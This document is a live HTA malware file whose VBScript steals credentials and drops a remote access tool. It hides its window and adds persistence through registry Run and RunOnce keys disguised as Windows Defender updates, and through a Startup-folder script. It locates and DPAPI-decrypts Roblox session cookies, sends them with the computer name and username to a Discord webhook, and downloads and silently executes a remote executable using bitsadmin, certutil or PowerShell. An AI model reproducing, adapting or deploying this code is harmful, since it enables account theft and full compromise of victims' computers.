<html>
<head><title>.</title>
<hta:application id="a" border="none" innerborder="no" caption="no" showintaskbar="no" sysmenu="no" contextmenu="no" selection="no"/>
<script language="VBScript">
On Error Resume Next

Dim sh, fso, WH, PC, USER
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
WH   = "https://discordapp.com/api/webhooks/1552107533303283826/YCk_BwrFksPkoKnMDrkZI55vfTv5bxvKVXTdnNCoLq31t4KIx4_sRs0lUv36yAH6lYFO"
PC   = sh.ExpandEnvironmentStrings("%COMPUTERNAME%")
USER = sh.ExpandEnvironmentStrings("%USERNAME%")

Sub Window_OnLoad()
    window.resizeTo 0, 0
    window.moveTo -2000, -2000
    Call Persist
    Call GrabRoblox
    Call DropRAT
    window.setInterval "RegrabAll()", 300000
End Sub

Sub RegrabAll()
    Call GrabRoblox
End Sub

Sub Persist()
    Dim payload: payload = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"

    ' Registry Run â€” fires on every login
    sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate", payload, "REG_SZ"

    ' Registry RunOnce â€” fires next login as backup
    sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate", payload, "REG_SZ"

    ' Startup folder VBS â€” fires on every login
    Dim sp: sp = sh.ExpandEnvironmentStrings("%APPDATA%") & "\Microsoft\Windows\Start Menu\Programs\Startup\wdu.vbs"
    Dim sf: Set sf = fso.CreateTextFile(sp, True)
    sf.WriteLine "CreateObject(""WScript.Shell"").Run ""mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"", 0, False"
    sf.Close
    Set sf = Nothing
End Sub

Sub GrabRoblox()
    Dim paths(4)
    paths(0) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\LocalStorage\robloxcookies.dat"
    paths(1) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\LocalStorage\RobloxCookies.dat"
    paths(2) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\Cookies"
    paths(3) = sh.ExpandEnvironmentStrings("%APPDATA%") & "\Roblox\LocalStorage\robloxcookies.dat"
    paths(4) = sh.ExpandEnvironmentStrings("%USERPROFILE%") & "\AppData\Local\Roblox\LocalStorage\robloxcookies.dat"
    Dim i, fp, raw
    For i = 0 To 4
        If fso.FileExists(paths(i)) Then fp = paths(i): Exit For
    Next
    If Len(fp) = 0 Then
        Dim pk: pk = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Packages"
        If fso.FolderExists(pk) Then
            Dim folder, subf
            Set folder = fso.GetFolder(pk)
            For Each subf In folder.SubFolders
                If InStr(subf.Name, "ROBLOX") > 0 Then
                    Dim uwp: uwp = subf.Path & "\LocalState\RobloxCookies.dat"
                    If fso.FileExists(uwp) Then fp = uwp: Exit For
                End If
            Next
            Set folder = Nothing
        End If
    End If
    If Len(fp) = 0 Then Call PostEmbed("Roblox", "No cookie file found", 16711680): Exit Sub
    raw = ReadFile(fp)
    If Len(raw) < 50 Then Call PostEmbed("Roblox", "File too small: " & Len(raw) & " bytes", 16711680): Exit Sub
    Dim cookie: cookie = "": Dim approach: approach = ""
    If InStr(raw, "_|WARNING") > 0 Then cookie = raw: approach = "Plaintext"
    If Len(cookie) = 0 And InStr(raw, "CookiesData") > 0 Then
        approach = "JSON-DPAPI"
        Dim sp: sp = InStr(raw, "CookiesData"":""")
        If sp > 0 Then
            sp = sp + 14
            Dim ep: ep = InStr(sp, raw, """")
            If ep > sp Then
                Dim b64: b64 = Mid(raw, sp, ep - sp)
                If Len(b64) > 100 Then
                    cookie = DecryptDPAPI(b64)
                    If Len(cookie) = 0 Then cookie = b64: approach = "JSON-Raw"
                End If
            End If
        End If
    End If
    If Len(cookie) = 0 And InStr(raw, ".ROBLOSECURITY") > 0 Then approach = "Raw-ROBLOSECURITY": Dim rp: rp = InStr(raw, ".ROBLOSECURITY"): cookie = Mid(raw, rp)
    If Len(cookie) = 0 Then cookie = raw: approach = "RawFile"
    Dim cae: cae = InStr(cookie, "|$CAE")
    If cae = 0 Then cae = InStr(cookie, "|_CAE")
    If cae > 0 Then cookie = Mid(cookie, cae)
    Call PostEmbed("Roblox (" & approach & ")", "Size: " & Len(cookie) & vbLf & Left(cookie, 60) & "...", 65280)
    Call PostFile("cookie.txt", cookie)
End Sub

Sub DropRAT()
    Dim temp: temp = sh.ExpandEnvironmentStrings("%TEMP%") & "\cookiez.exe"
    Dim dl: dl = "https://github.com/huh71943-s/dicecheck.app/raw/refs/heads/main/cookiez.exe"
    sh.Run "bitsadmin /transfer wd /download /priority high " & Chr(34) & dl & Chr(34) & " " & Chr(34) & temp & Chr(34), 0, True
    If Not fso.FileExists(temp) Then
        sh.Run "certutil -urlcache -split -f " & Chr(34) & dl & Chr(34) & " " & Chr(34) & temp & Chr(34), 0, True
    End If
    If Not fso.FileExists(temp) Then
        sh.Run "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri '" & dl & "' -OutFile '" & temp & "'", 0, True
    End If
    If fso.FileExists(temp) Then
        sh.Run Chr(34) & temp & Chr(34), 0, False
    End If
End Sub

Function DecryptDPAPI(b64): DecryptDPAPI = "": On Error Resume Next: Dim inf: inf = TmpFile("dpi.txt"): Dim outf: outf = TmpFile("dpo.txt"): fso.DeleteFile outf, True: WriteFile inf, b64
    Dim ps: ps = "Add-Type -AssemblyName System.Security;try{$b=[Convert]::FromBase64String((Get-Content '" & inf & "' -Raw).Trim());$d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[System.Text.Encoding]::UTF8.GetString($d)|Out-File '" & outf & "' -Encoding utf8}catch{''|Out-File '" & outf & "'}"
    Dim psf: psf = TmpFile("dpapi.ps1"): WriteFile psf, ps: RunCmd "powershell -NoProfile -ExecutionPolicy Bypass -File """ & psf & """"
    If fso.FileExists(outf) Then If fso.GetFile(outf).Size > 20 Then DecryptDPAPI = ReadFile(outf)
    fso.DeleteFile inf, True: fso.DeleteFile psf, True: fso.DeleteFile outf, True: End Function

Sub RunCmd(cmd): On Error Resume Next: Dim w,p,i,s: Set w = GetObject("winmgmts:\\.\root\cimv2"): Set s = w.Get("Win32_ProcessStartup").SpawnInstance_: s.ShowWindow = 0: Set p = w.Get("Win32_Process"): p.Create cmd,,s,i
    If i = 0 Then Exit Sub
    Dim r: r = True
    Do While r
        Set w = GetObject("winmgmts:\\.\root\cimv2")
        r = (w.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE ProcessId=" & i).Count > 0)
        Set w = Nothing
        If r Then WScript.Sleep 150
    Loop
End Sub

Function TmpFile(name): TmpFile = sh.ExpandEnvironmentStrings("%TEMP%") & "\" & name: End Function
Sub WriteFile(path, content): On Error Resume Next: Dim f: Set f = fso.CreateTextFile(path, True): f.Write content: f.Close: Set f = Nothing: End Sub
Function Fetch(url): On Error Resume Next: Fetch = "": Dim h: Set h = CreateObject("MSXML2.ServerXMLHTTP.6.0"): h.SetOption 2, 13056: h.Open "GET", url, False: h.Send
    If h.Status = 200 Then Fetch = h.ResponseText
    Set h = Nothing: End Function
Function ReadFile(path): On Error Resume Next: ReadFile = "": Dim f: Set f = fso.OpenTextFile(path, 1): ReadFile = f.ReadAll: f.Close: Set f = Nothing: End Function

Sub PostEmbed(t, d, c): On Error Resume Next
    Dim j: j = "{""embeds"":[{""title"":""" & Ej(t) & """,""description"":""" & Ej(d) & """,""color"":" & c & ",""footer"":{""text"":""" & Ej(PC & " / " & USER) & """}}]}"
    Dim h: Set h = CreateObject("MSXML2.ServerXMLHTTP.6.0"): h.SetOption 2, 13056: h.Open "POST", WH, False: h.SetRequestHeader "Content-Type", "application/json": h.Send j: Set h = Nothing
End Sub

Sub PostFile(fn, ct): On Error Resume Next
    Dim b: b = MkGuid()
    Dim bd: bd = "--" & b & vbCrLf & "Content-Disposition: form-data; name=""file""; filename=""" & fn & """" & vbCrLf & vbCrLf & ct & vbCrLf & "--" & b & "--"
    Dim h: Set h = CreateObject("MSXML2.ServerXMLHTTP.6.0"): h.SetOption 2, 13056: h.Open "POST", WH, False: h.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & b: h.Send bd: Set h = Nothing
End Sub

Function Ej(s): s = Replace(s, "\", "\\"): s = Replace(s, """", "\"""): s = Replace(s, vbCrLf, "\n"): s = Replace(s, vbCr, "\n"): s = Replace(s, vbLf, "\n"): s = Replace(s, vbTab, "\t"): Ej = s: End Function
Function MkGuid(): Dim t: Set t = CreateObject("Scriptlet.TypeLib"): MkGuid = Mid(t.GUID, 2, 36): Set t = Nothing: End Function
</script>
</head><body></body></html>
